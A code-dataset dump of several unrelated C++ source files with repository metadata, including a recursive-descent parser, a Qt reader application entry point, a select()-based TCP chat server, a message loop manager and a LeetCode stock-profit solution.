if(currentTokType == tokentype::KEY_BRAKET_RND_CLOSE) {
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
parseResult = this->parse_Statement(statement->statement1);
if(parseResult != parserError::OK) {
return parseResult;
}
}
else {
fileWriter->printLog(buffer::logLevel::ERROR, __func__,
"Expected ')' at Row: %u Column: %u",
currentToken->getRow(), currentToken->getColumn());
return parserError::ERR_PARSE_STATEMENT;
}
if(currentTokType == tokentype::KEY_ELSE) {
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
parseResult = this->parse_Statement(statement->statement2);
if(parseResult != parserError::OK) {
return parseResult;
}
statement->nodeType = ParseTree::STATEMENT_5;
}
else {
fileWriter->printLog(buffer::logLevel::ERROR, __func__,
"No 'else' found at Row: %u Column: %u",
currentToken->getRow(), currentToken->getColumn());
return parserError::ERR_PARSE_STATEMENT;
}
}
else if(currentTokType == tokentype::KEY_WHILE) {
statement->exp = new ExpNode(this);
statement->statement1 = new StatementNode(this);
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
if(currentTokType == tokentype::KEY_BRAKET_RND_OPEN){
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
parseResult = this->parse_Exp(statement->exp);
if(parseResult != parserError::OK) {
return parseResult;
}
}
else {
fileWriter->printLog(buffer::logLevel::ERROR, __func__,
"Expected '(' at Row: %u Column: %u",
currentToken->getRow(), currentToken->getColumn());
return parserError::ERR_PARSE_STATEMENT;
}
if(currentTokType == tokentype::KEY_BRAKET_RND_CLOSE) {
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
parseResult = this->parse_Statement(statement->statement1);
if(parseResult != parserError::OK) {
return parseResult;
}
statement->nodeType = ParseTree::STATEMENT_6;
}
else {
fileWriter->printLog(buffer::logLevel::ERROR, __func__,
"Expected ')' at Row: %u Column: %u",
currentToken->getRow(), currentToken->getColumn());
return parserError::ERR_PARSE_STATEMENT;
}
}
else {
fileWriter->printLog(buffer::logLevel::ERROR, __func__,
"No valid statement found at Row: %u Column: %u",
currentToken->getRow(), currentToken->getColumn());
return parserError::ERR_PARSE_STATEMENT;
}
return parserError::OK;
}
parserError::type_t Parser::parse_Exp(ExpNode* exp) {
parserError::type_t parseResult;
exp->exp2 = new Exp2Node(this);
exp->opExp = new Op_ExpNode(this);
if( currentTokType == tokentype::KEY_BRAKET_RND_OPEN ||
currentTokType == tokentype::IDENTIFIER ||
currentTokType == tokentype::INTEGER ||
currentTokType == tokentype::KEY_MINUS ||
currentTokType == tokentype::KEY_BANG
) {
parseResult = this->parse_Exp2(exp->exp2);
if(parseResult != parserError::OK) {
return parseResult;
}
parseResult = this->parse_Op_Exp(exp->opExp);
if(parseResult != parserError::OK) {
return parseResult;
}
exp->nodeType = ParseTree::EXP;
}
else {
fileWriter->printLog(buffer::logLevel::ERROR, __func__,
"No valid expression at Row: %u Column: %u",
currentToken->getRow(), currentToken->getColumn());
return parserError::ERR_PARSE_EXP;
}
return parserError::OK;
}
parserError::type_t Parser::parse_Exp2(Exp2Node* exp2) {
parserError::type_t parseResult;
if(currentTokType == tokentype::KEY_BRAKET_RND_OPEN) {
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
exp2->exp = new ExpNode(this);
parseResult = this->parse_Exp(exp2->exp);
if(parseResult != parserError::OK) {
return parseResult;
}
if(currentTokType == tokentype::KEY_BRAKET_RND_CLOSE) {
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
exp2->nodeType = ParseTree::EXP2_1;
}
else {
fileWriter->printLog(buffer::logLevel::ERROR, __func__,
"Expected ')' at Row: %u Column: %u",
currentToken->getRow(), currentToken->getColumn());
return parserError::ERR_PARSE_EXP2;
}
}
else if(currentTokType == tokentype::IDENTIFIER) {
exp2->token = currentToken;
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
exp2->index = new IndexNode(this);
parseResult = this->parse_Index(exp2->index);
if(parseResult != parserError::OK) {
return parseResult;
}
exp2->nodeType = ParseTree::EXP2_2;
}
else if(currentTokType == tokentype::INTEGER) {
exp2->token = currentToken;
exp2->nodeType = ParseTree::EXP2_3;
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
}
else if(currentTokType == tokentype::KEY_MINUS) {
currentToken = getNextToken();
currentTokType = currentToken->getType();
exp2->exp2 = new Exp2Node(this);
parseResult = this->parse_Exp2(exp2->exp2);
if(parseResult != parserError::OK) {
return parseResult;
}
exp2->nodeType = ParseTree::EXP2_4;
}
else if(currentTokType == tokentype::KEY_BANG) {
currentToken = getNextToken();
currentTokType = currentToken->getType();
exp2->exp2 = new Exp2Node(this);
parseResult = this->parse_Exp2(exp2->exp2);
if(parseResult != parserError::OK) {
return parseResult;
}
exp2->nodeType = ParseTree::EXP2_5;
}
else {
fileWriter->printLog(buffer::logLevel::ERROR, __func__,
"No valid expression at Row: %u Column: %u",
currentToken->getRow(), currentToken->getColumn());
return parserError::ERR_PARSE_EXP2;
}
return parserError::OK;
}
parserError::type_t Parser::parse_Index(IndexNode* index) {
parserError::type_t parseResult;
index->exp = new ExpNode(this);
if(currentTokType == tokentype::KEY_BRAKET_SQR_OPEN) {
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
parseResult = this->parse_Exp(index->exp);
if(parseResult != parserError::OK) {
return parseResult;
}
if(currentTokType == tokentype::KEY_BRAKET_SQR_CLOSE) {
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
index->nodeType = ParseTree::INDEX_1;
}
else {
fileWriter->printLog(buffer::logLevel::ERROR, __func__,
"Expected ']' at Row: %u Column: %u",
currentToken->getRow(), currentToken->getColumn());
return parserError::ERR_PARSE_INDEX;
}
}
else if(currentTokType == tokentype::KEY_BRAKET_RND_CLOSE ||
currentTokType == tokentype::KEY_PLUS ||
currentTokType == tokentype::KEY_MINUS ||
currentTokType == tokentype::KEY_STAR ||
currentTokType == tokentype::KEY_SLASH ||
currentTokType == tokentype::KEY_BRAKET_ARRW_OPEN ||
currentTokType == tokentype::KEY_BRAKET_ARRW_CLOSE ||
currentTokType == tokentype::KEY_AMPERSAND ||
currentTokType == tokentype::KEY_COMPARE ||
currentTokType == tokentype::KEY_COMPARE_NOT ||
currentTokType == tokentype::KEY_SEMICOLON ||
currentTokType == tokentype::KEY_BRAKET_SQR_CLOSE ||
currentTokType == tokentype::KEY_EQUAL ||
currentTokType == tokentype::KEY_ELSE
){
// Follow
index->nodeType = ParseTree::INDEX_2;
}
else {
fileWriter->printLog(buffer::logLevel::ERROR, __func__,
"No valid index at Row: %u Column: %u",
currentToken->getRow(), currentToken->getColumn());
return parserError::ERR_PARSE_INDEX;
}
return parserError::OK;
}
parserError::type_t Parser::parse_Op_Exp(Op_ExpNode* opExp){
parserError::type_t parseResult;
opExp->op = new OpNode(this);
opExp->exp = new ExpNode(this);
if( currentTokType == tokentype::KEY_PLUS ||
currentTokType == tokentype::KEY_MINUS ||
currentTokType == tokentype::KEY_STAR ||
currentTokType == tokentype::KEY_SLASH ||
currentTokType == tokentype::KEY_BRAKET_ARRW_OPEN ||
currentTokType == tokentype::KEY_BRAKET_ARRW_CLOSE ||
currentTokType == tokentype::KEY_AMPERSAND ||
currentTokType == tokentype::KEY_COMPARE ||
currentTokType == tokentype::KEY_COMPARE_NOT
){
parseResult = this->parse_Op(opExp->op);
if(parseResult != parserError::OK) {
return parseResult;
}
parseResult = this->parse_Exp(opExp->exp);
if(parseResult != parserError::OK) {
return parseResult;
}
opExp->nodeType = ParseTree::OP_EXP_1;
}
else if(currentTokType == tokentype::KEY_BRAKET_RND_CLOSE ||
currentTokType == tokentype::KEY_BRAKET_SQR_CLOSE ||
currentTokType == tokentype::KEY_SEMICOLON ||
currentTokType == tokentype::KEY_ELSE
) {
opExp->nodeType = ParseTree::OP_EXP_2;
}
else{
fileWriter->printLog(buffer::logLevel::ERROR, __func__,
"No valid operation at Row: %u Column: %u",
currentToken->getRow(), currentToken->getColumn());
return parserError::ERR_PARSE_OP_EXP;
}
return parserError::OK;
}
parserError::type_t Parser::parse_Op(OpNode* op) {
// parserError::type_t parseResult;
switch(currentTokType) {
case tokentype::KEY_PLUS:
op->nodeType = ParseTree::OP_1;
break;
case tokentype::KEY_MINUS:
op->nodeType = ParseTree::OP_2;
break;
case tokentype::KEY_STAR:
op->nodeType = ParseTree::OP_3;
break;
case tokentype::KEY_SLASH:
op->nodeType = ParseTree::OP_4;
break;
case tokentype::KEY_BRAKET_ARRW_OPEN:
op->nodeType = ParseTree::OP_5;
break;
case tokentype::KEY_BRAKET_ARRW_CLOSE:
op->nodeType = ParseTree::OP_6;
break;
case tokentype::KEY_COMPARE:
op->nodeType = ParseTree::OP_7;
break;
case tokentype::KEY_COMPARE_NOT:
op->nodeType = ParseTree::OP_8;
break;
case tokentype::KEY_AMPERSAND:
op->nodeType = ParseTree::OP_9;
break;
default:
fileWriter->printLog(buffer::logLevel::ERROR, __func__,
"Unknown operand at Row: %u Column: %u",
currentToken->getRow(), currentToken->getColumn());
return parserError::ERR_PARSE_OP;
}
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
return parserError::OK;
}
bool Parser::typeCheck() {
this->progTree->typeCheck();
return isCorrect;
}
void Parser::makeCode(){
this->progTree->makeCode();
}
buffer::OutputBuffer* Parser::getFileWriter() {
return fileWriter;
}
| [
"johannes.kolb88@googlemail.com"
] | johannes.kolb88@googlemail.com |
e2309c50a8032c90af8be00afe51fa5965822efb | ce80c908e8828d3a2e832199026101e5e96c746b | /MindReader/main.cpp | 71f0ddbe1b70148009d1923811db584506cc751a | [] | no_license | iamgeniuswei/MindReader | 8f330ad978b6d16b3363c7d1c7bc22d13d5c891d | abde1f97364629af588cbba3f44fdeb93a22507e | refs/heads/master | 2021-09-28T18:27:32.270814 | 2018-11-08T00:32:33 | 2018-11-08T00:32:33 | 156,626,188 | 2 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 1,901 | cpp | //#include "mainwindow.h"
#include <QApplication>
#include "mrarticleshelf.h"
#include "qimagetextwidget.h"
#include <QListWidget>
#include <QListWidgetItem>
#include "mrmainwindow.h"
#include "MRArticleDisplayer.h"
#include <QDebug>
//#include "ArticlePage.h"
#include "mrarticlereader.h"
#include "notecard.h"
#include "notedisplayer.h"
#include "readerwithnote.h"
#include <QFile>
#include "mrsetting.h"
#include "mrworkdirsettingwindow.h"
#include "mrlibrarytoolbar.h"
#include "ORMHelper.h"
#include "memory"
#include "mrarticlemetadata.h"
#include "mrarticleitem.h"
#include "MRPage.h"
#include <QGraphicsItem>
#include <QGraphicsTextItem>
int main(int argc, char *argv[])
{
QApplication a(argc, argv);
qRegisterMetaType<std::shared_ptr<MRArticleMetaData>>("std::shared_ptr<MRArticleMetaData>");
qRegisterMetaType<std::shared_ptr<MRPage>>("std::shared_ptr<MRPage>");
MRSetting set;
set.initializeSetting ("config.ini");
QString qss = set.getStyleSheet ();
if(!qss.isEmpty ())
{
qss.insert (0, ":/qss/");
QFile qssFile(qss);
qssFile.open (QFile::ReadOnly);
qApp->setStyleSheet (qssFile.readAll ());
qssFile.close ();
}
QString isNew = set.getFirstUseage ();
QWidget *w = nullptr;
// NoteCard *w = nullptr;
qDebug() << set.getWorkDirectory ();
QString dbname = set.getDatabaseName ();
QString sqlite_path = set.getWorkDirectory () + "/" + dbname;
ORMHelper::initializeSqlite (sqlite_path.toStdString ());
ORMHelper::initializeTables ();
qDebug() << "QWidget size: " << sizeof(QWidget);
qDebug() << "QGraphicsTextItem size: " << sizeof(QGraphicsTextItem);
if(isNew == "true")
{
w = new MRWorkDirSettingWindow;
w->show ();
}
else
{
// w = new MRArticleItem;
w = new MRMainWindow;
w->show ();
}
return a.exec();
}
| [
"iamgeniuswei@sina.com"
] | iamgeniuswei@sina.com |
b3ea8f23ee6f51d4792e842fa5bf7c09842a6ecd | f75650b72c6f394e1c1e31560cbc27aec946d823 | /bengli.cpp | b9cb7ea60946dd3cd05685c647db5b23b2e43f78 | [] | no_license | miracleke/learncpp | eb881c3da0dd37118a3f909820991b5ef637c6b3 | 7efd50aab5ae4286f10f2c4101498d4ade2c610b | refs/heads/master | 2022-02-20T09:23:40.830697 | 2019-08-14T13:57:50 | 2019-08-14T13:57:50 | 197,947,346 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 392 | cpp | #include<iostream>
#include<iomanip>
#include<cmath>
using namespace std;
int main() {
int b,year;
double sum,li,y;
cout << "Input annual interest rate, capital in the number of years deposited,the sum of profits\n";
cin >> li >> b >> year;
y = year * li / 100 * b;
sum = b + y;
cout << "本金加利息=" << setprecision(15) << sum << endl;
return 0;
}
| [
"3205244665@qq.com"
] | 3205244665@qq.com |
02cd0dae3c9def99be98a55fcff05e4542a7923b | 86f8019eabea54665bf709725aaf7b2967206058 | /engine/actions/source/CharacterAction.cpp | ab6c397bb805b7fcc07f93222673b6356a5fa3d3 | [
"MIT",
"Zlib"
] | permissive | cleancoindev/shadow-of-the-wyrm | ca5d21a0d412de88804467b92ec46b78fb1e3ef0 | 51b23e98285ecb8336324bfd41ebf00f67b30389 | refs/heads/master | 2022-07-13T22:03:50.687853 | 2020-02-16T14:39:43 | 2020-02-16T14:39:43 | 264,385,732 | 1 | 0 | MIT | 2020-05-16T07:45:16 | 2020-05-16T07:45:15 | null | UTF-8 | C++ | false | false | 2,695 | cpp | #include <chrono>
#include <boost/algorithm/string.hpp>
#include "CharacterAction.hpp"
#include "CharacterDumper.hpp"
#include "Conversion.hpp"
#include "FileWriter.hpp"
#include "Game.hpp"
#include "MessageManagerFactory.hpp"
#include "ScreenTitleTextKeys.hpp"
#include "TextDisplayFormatter.hpp"
#include "TextDisplayScreen.hpp"
#include "TextMessages.hpp"
#include "TextKeys.hpp"
using namespace std;
CharacterAction::CharacterAction()
{
}
ActionCostValue CharacterAction::display_character(CreaturePtr creature)
{
if (creature != nullptr)
{
Game& game = Game::instance();
string char_title_sid = ScreenTitleTextKeys::SCREEN_TITLE_CHARACTER_DETAILS;
CharacterDumper dumper(creature);
vector<string> char_text = String::tokenize(dumper.str(), "\n", true);
vector<TextDisplayPair> char_details_text;
TextDisplayFormatter tdf(true);
for (const string& str : char_text)
{
if (str != "\n")
{
if (str.empty())
{
char_details_text.push_back(make_pair(Colour::COLOUR_WHITE, str));
}
else
{
vector<string> formatted_line = tdf.format_text(boost::algorithm::trim_right_copy(str));
for (const string& line : formatted_line)
{
char_details_text.push_back(make_pair(Colour::COLOUR_WHITE, line));
}
}
}
}
TextDisplayScreen tds(game.get_display(), char_title_sid, char_details_text, true);
tds.display();
}
return get_action_cost_value(creature);
}
ActionCostValue CharacterAction::dump_character(CreaturePtr creature)
{
if (creature)
{
IMessageManager& manager = MM::instance(MessageTransmit::SELF, creature, creature->get_is_player());
string name = creature->get_name();
string dump_message = TextMessages::get_dumping_character_message(name);
manager.add_new_message(dump_message);
manager.send();
CharacterDumper dumper(creature);
string file_contents = dumper.str();
FileWriter file(creature->get_name());
bool created_file = file.write(file_contents);
if (!created_file)
{
ostringstream fname;
auto cur_time = std::chrono::system_clock::now();
fname << creature->get_name() << "_" << std::chrono::system_clock::to_time_t(cur_time);
file.set_base_file_name(fname.str());
created_file = file.write(file_contents);
if (!created_file)
{
manager.add_new_message(StringTable::get(TextKeys::DUMPING_CHARACTER_FAILED));
manager.send();
}
}
}
return get_action_cost_value(creature);
}
ActionCostValue CharacterAction::get_action_cost_value(CreaturePtr creature) const
{
return 0;
}
| [
"jcd748@mail.usask.ca"
] | jcd748@mail.usask.ca |
5d8fdc645175d9b422ec5626fee7ac26d3cce9b6 | 0aba98c76b13f22854a5e75c8f112e4db85383ef | /serverSelect.cpp | 00859d5f4a2a5507d535d9310bf92a8dec1a6909 | [] | no_license | guptaprakhariitr/Simple-server-client-chat | c359639006cda531776b0402c73e971f72e2433c | 06594b9fb813bdc2c1d9851e6f2df44ecd35abe2 | refs/heads/master | 2022-11-15T18:43:49.954207 | 2020-07-02T16:54:32 | 2020-07-02T16:54:32 | 260,719,185 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 4,836 | cpp | //Example code: A simple server side code, which echos back the received message.
//Handle multiple socket connections with select and fd_set on Linux
#include <stdio.h>
#include <string.h> //strlen
#include <stdlib.h>
#include <errno.h>
#include <unistd.h> //close
#include <arpa/inet.h> //close
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/time.h> //FD_SET, FD_ISSET, FD_ZERO macros
#include <iostream>
using namespace std;
#define TRUE 1
#define FALSE 0
#define PORT 8888
int main(int argc , char *argv[])
{
int opt = TRUE;
int master_socket , addrlen , new_socket , client_socket[30] ,
max_clients = 30 , activity, i , valread , sd;
int max_sd;
struct sockaddr_in address;
char buffer[1025]; //data buffer of 1K
//set of socket descriptors
fd_set readfds;
//a message
const char *message = "Lets start our chat \r\n";
//initialise all client_socket[] to 0 so not checked
for (i = 0; i < max_clients; i++)
{
client_socket[i] = 0;
}
//create a master socket
if( (master_socket = socket(AF_INET , SOCK_STREAM , 0)) == 0)
{
perror("socket failed");
exit(EXIT_FAILURE);
}
//set master socket to allow multiple connections ,
//this is just a good habit, it will work without this
if( setsockopt(master_socket, SOL_SOCKET, SO_REUSEADDR, (char *)&opt,
sizeof(opt)) < 0 )
{
perror("setsockopt");
exit(EXIT_FAILURE);
}
//type of socket created
address.sin_family = AF_INET;
address.sin_addr.s_addr = INADDR_ANY;
address.sin_port = htons( PORT );
//bind the socket to localhost port 8888
if (bind(master_socket, (struct sockaddr *)&address, sizeof(address))<0)
{
perror("bind failed");
exit(EXIT_FAILURE);
}
printf("Listener on port %d \n", PORT);
//try to specify maximum of 3 pending connections for the master socket
if (listen(master_socket, 3) < 0)
{
perror("listen");
exit(EXIT_FAILURE);
}
//accept the incoming connection
addrlen = sizeof(address);
puts("Waiting for connections ...");
while(TRUE)
{ int sdd;
//clear the socket set
FD_ZERO(&readfds);
//add master socket to set
FD_SET(master_socket, &readfds);
max_sd = master_socket;
//add child sockets to set
for ( i = 0 ; i < max_clients ; i++)
{
//socket descriptor
sd = client_socket[i];
//if valid socket descriptor then add to read list
if(sd > 0)
FD_SET( sd , &readfds);
//highest file descriptor number, need it for the select function
if(sd > max_sd)
max_sd = sd;
}
//wait for an activity on one of the sockets , timeout is NULL ,
//so wait indefinitely
activity = select( max_sd + 1 , &readfds , NULL , NULL , NULL);
if ((activity < 0) && (errno!=EINTR))
{
printf("select error");
}
//If something happened on the master socket ,
//then its an incoming connection
if (FD_ISSET(master_socket, &readfds))
{
if ((new_socket = accept(master_socket,
(struct sockaddr *)&address, (socklen_t*)&addrlen))<0)
{
perror("accept");
exit(EXIT_FAILURE);
}
//inform user of socket number - used in send and receive commands
/*printf("New connection , socket fd is %d , ip is : %s , port : %d \n" , new_socket , inet_ntoa(address.sin_addr) , ntohs
(address.sin_port)); */
//send new connection greeting message
printf("Person %d ONline\n",new_socket);
//add new socket to array of sockets
for (i = 0; i < max_clients; i++)
{
//if position is empty
if( client_socket[i] == 0 )
{
client_socket[i] = new_socket;
//printf("Adding to list of sockets as %d\n" , i);
break;
}
}
}
//else its some IO operation on some other socket
for (i = 0; i < max_clients; i++)
{
sd = client_socket[i];
if (FD_ISSET( sd , &readfds))
{
//Check if it was for closing , and also read the
//incoming message
if ((valread = read( sd , buffer, 1024)) == 0)
{
//Somebody disconnected , get his details and print
getpeername(sd , (struct sockaddr*)&address ,(socklen_t*)&addrlen);
printf("Person Offline now , ip %s , port %d \n" ,
inet_ntoa(address.sin_addr) , ntohs(address.sin_port));
//Close the socket and mark as 0 in list for reuse
close( sd );
client_socket[i] = 0;
}
//Echo back the message that came in
else
{
//set the string terminating NULL byte on the end
//of the data read
buffer[valread] = '\0';
printf("Client %d - %s\n",sd,buffer);
char* msg=new char[1001];
printf("Server To person %d - ",sd);
cin.getline(msg,700);
send(sd , msg , strlen(buffer) , 0 );
}
}
}
}
return 0;
}
| [
"prakharpguptag@gmail.com"
] | prakharpguptag@gmail.com |
dc44d200848720db245bae6218e709aeb4272581 | 17d766a296cc6c72499bba01b82d58f7df747b64 | /Athena1.cpp | 74b0b71b8820da303c296d8c6347ea7759206940 | [] | no_license | Kullsno2/C-Cpp-Programs | 1dd7a57cf7e4c70831c5b36566605dc35abdeb67 | 2b81ddc67f22ada291e85bfc377e59e6833e48fb | refs/heads/master | 2021-01-22T21:45:41.214882 | 2015-11-15T11:15:46 | 2015-11-15T11:15:46 | 85,473,174 | 0 | 1 | null | 2017-03-19T12:12:00 | 2017-03-19T12:11:59 | null | UTF-8 | C++ | false | false | 301 | cpp | #include<iostream>
using namespace std ;
int main(){
unsigned long long int sum = 0;
int n=1000;
int val=10;
while(n > 0){
int dif = val;
int temp = n;
sum += n;
while(dif >= 1){
n -= dif ;
sum += n;
dif--;
}
n = temp-100;
val--;
cout<<sum<<endl;
}
cout<<sum<<endl;
}
| [
"nanduvinodan2@gmail.com"
] | nanduvinodan2@gmail.com |
793508f8d09a352f0f1891bd4c04b0d3de65b377 | 785d89fb4452014569d197deba6921035fe6d1ba | /interactive.h | 22e73376cac048540f89357c25dcac96cf2ffb45 | [] | no_license | aguai/StoryWriter | d25f814f9ebf6d413cd454b41c52c846278c69eb | 8cfe73430d445586f6d036b98e5cc01ee8e3905d | refs/heads/master | 2020-03-11T03:07:09.169124 | 2012-09-03T20:32:33 | 2012-09-03T20:32:33 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,989 | h | #ifndef DEF_ENGINE_INTERACTIVE
#define DEF_ENGINE_INTERACTIVE
#include <dshow.h>
#include <D3D9.h>
#include <Vmr9.h>
#include <windows.h>
#include <gdiplus.h>
#include <map>
#include <string>
#include <vector>
class CMarkup;
class SCENE;
class STATES;
class INTERACTIVE : public SCENE {
private:
// Object class
class SCENE_OBJECT {
private:
friend class INTERACTIVE;
Gdiplus::Region * position;
Gdiplus::Point * points;
int point_count;
std::wstring name;
std::wstring caption;
std::string sound_path;
std::string caption_sound_path;
std::vector<state_changes> caused_changes;
bool finish_scene;
bool is_new;
public:
SCENE_OBJECT(const Gdiplus::GraphicsPath* boundaries, const std::wstring object_name, const std::wstring object_caption,
const std::string object_sound_path, const std::string object_caption_sound_path, const std::vector<state_changes> & object_state_changes, const bool finisher);
SCENE_OBJECT(const SCENE_OBJECT&);
~SCENE_OBJECT();
};
// objects system
std::vector<SCENE_OBJECT> objects;
int last_active_object;
bool caption_displayed;
// Editor variables
Gdiplus::Pen * outliner;
Gdiplus::Pen * nowliner;
Gdiplus::Point last_point;
Gdiplus::Point * temp_points;
int temp_points_count;
public:
INTERACTIVE(const CMarkup*);
~INTERACTIVE();
bool CreateObjects(); // function creates objects from script - first it take names and than it creates path for a region and afterwards the map of state changes
void DrawString(const Gdiplus::PointF & hit_position, const std::wstring & text);
int DetectCollision(const Gdiplus::PointF & hit_position);
HRESULT Update();
HRESULT LeftClick(const int x, const int y);
HRESULT RightClick(const int x, const int y);
HRESULT MouseMove(const int x, const int y);
HRESULT EventResponse(); // Responses when video event occures
// Editor functions
void DrawOutlines();
HRESULT DPressed();
HRESULT FPressed();
HRESULT NPressed();
HRESULT SPressed();
};
#endif | [
"adam.streck@gmail.com"
] | adam.streck@gmail.com |
d52a3b9a8672cd6f7586ea0d442bba279bf062c4 | c43060800c4c134653f9b06c65d33cec9f2155b9 | /Interface/String.h | e48395bf42b1565331236107f6146ed9ed4b6245 | [] | no_license | venkatarajasekhar/interface-4 | 8351a9c469a0e7ad3c2eabded21dc4e4e5da81ca | f101c39207d7310fbbfcfb92c6ab9d32ea859bff | refs/heads/master | 2020-06-10T18:41:25.504006 | 2014-04-26T12:59:08 | 2014-04-26T12:59:08 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,130 | h |
// Copyright (C) 1997-1998 Reality Systems as
// All rights reserved.
#ifndef STRING_H
#define STRING_H
class String{
public: String(){ hook=-1; }
String(const String &str);
String(const char *str);
~String();
String &operator=(const String &);
bool operator==(const String &) const;
bool operator!=(const String &) const;
String &operator+=(String &);
const char *GetString(void) const; //const int);
//const char *DuplicateString(void) const;
private:
int HookString(const char *);
void UnhookString(const int);
int hook;
char *string;
};
inline String::String(const char *str){
hook = HookString(str);
}
inline String::~String(){
UnhookString(hook);
}
inline bool String::operator==(const String &str) const{
if(hook<0||str.hook<0) return false;
//printf("%s==%s\n",GetString(),((String&)str).GetString());
return(hook==str.hook);
}
inline bool String::operator!=(const String &str) const{
if(hook<0||str.hook<0) return false;
//printf("%s==%s\n",GetString(),((String&)str).GetString());
return(hook!=str.hook);
}
#endif
| [
"patrick.hanevold@gmail.com"
] | patrick.hanevold@gmail.com |
cc3bb4d6d5543e1ea2e001ff95abc2a6c7450c76 | 6b99df31de982d87ef363f8916077cf0eb8df354 | /homework/hw4/CLMessageLoopManager.cpp | d448c18ef5a42b4637a4e70651ab84f0ecf07568 | [] | no_license | chengziHome/-Linux-advanced-programming | d397df4c277b172bfc7b71cf908112a67e58be6f | 25deec2c3df690cdd6bd2430ca6b0de234f2b676 | refs/heads/master | 2020-04-05T06:18:23.629928 | 2018-11-17T03:07:12 | 2018-11-17T03:07:12 | 156,632,943 | 0 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 1,053 | cpp | #include "CLMessageLoopManager.h"
#include "CLMessage.h"
#include "CLLogger.h"
CLMessageLoopManager::CLMessageLoopManager() {
}
CLMessageLoopManager::~CLMessageLoopManager() {
}
CLStatus CLMessageLoopManager::EnterMessageLoop(void *pContext) {
CLStatus s = Initialize();
if (!s.IsSuccess()) {
CLLogger::WriteLogMsg("In CLMessageLoopManager::EnterMessageLoop(), Initialize error", 0);
return CLStatus(-1, 0);
}
while (true) {
CLMessage *pMsg = WaitForMessage();
if (pMsg == 0) {
CLLogger::WriteLogMsg("In CLMessageLoopManager::EnterMessageLoop(), pMsg == 0", 0);
continue;
}
CLStatus s3 = DispatchMessage(pMsg);
if (s3.m_clReturnCode == QUIT_MESSAGE_LOOP)
break;
}
CLStatus s4 = Uninitialize();
if (!s4.IsSuccess()) {
CLLogger::WriteLogMsg("In CLMessageLoopManager::EnterMessageLoop(), Uninitialize() error", 0);
return CLStatus(-1, 0);
}
return CLStatus(0, 0);
}
| [
"ichengzi_me@163.com"
] | ichengzi_me@163.com |
37226791bb3bfaf0f285f183649c97552e3bb67e | d11e19807634a8a1a020510376363404a58c452b | /LeetCode/309.h | 046edfae923dc863f8919fe2c42a9ef6fbfb9e1a | [
"MIT"
] | permissive | zhchuu/OJ-Solutions | f960dd68c0ba9a5e84390250de0b92679549c9fd | 09e1c18104db35d7c6919257ebaa0f170f54796c | refs/heads/master | 2021-01-26T13:14:07.830959 | 2020-07-02T07:02:26 | 2020-07-02T07:02:26 | 243,440,462 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 780 | h | /*
309. Best Time to Buy and Sell Stock with Cooldown
Hint: DP
Time: O(n)
Space: O(n)
*/
class Solution {
public:
int maxProfit(vector<int>& prices) {
if(prices.size() <= 1)
return 0;
/*
F[i] means that the maximum profit with cooldown.
You can buy day i+1 now.
localMax means that the maximun profit until now
with one stock waiting to be sold.
*/
int F[prices.size()+2], localMax = -prices[0]; // Day 0 waiting to be sold
memset(F, 0, sizeof(F));
for(int i=2; i<prices.size()+1; i++){
F[i] = max(F[i-1], prices[i-1] + localMax); // Sell on day i-1, cooldown on day i
localMax = max(localMax, F[i-2] - prices[i-1]); // Buy on day i-1
}//for
return F[prices.size()];
}
};
| [
"zhongchh7@mail2.sysu.edu.cn"
] | zhongchh7@mail2.sysu.edu.cn |
504f451b8c5b24b2931b5a3bb85ff235d275d6c5 | 0034a7c55676f906a751e11adbfee698c2a03901 | /core/json/src/JsonReader.h | fe60144cdea5eb34b390b7a41b63cd83a6aae21f | [
"Apache-2.0"
] | permissive | coderbradlee/ngrest | f2c19fe7baaae274a6f531dc6f7aaa2dafd517f8 | e532f9916956de32812565f24ef1e4bf2d29a2ef | refs/heads/master | 2021-05-30T21:29:06.724888 | 2016-04-07T08:52:37 | 2016-04-07T08:52:37 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 920 | h | /*
* Copyright 2016 Utkin Dmitry <loentar@gmail.com>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* This file is part of ngrest: http://github.com/loentar/ngrest
*/
#ifndef NGREST_JSONREADER_H
#define NGREST_JSONREADER_H
namespace ngrest {
class MemPool;
class Node;
namespace json {
class JsonReader {
public:
static Node* read(char* buff, MemPool* memPool);
};
}
}
#endif
| [
"loentar@gmail.com"
] | loentar@gmail.com |
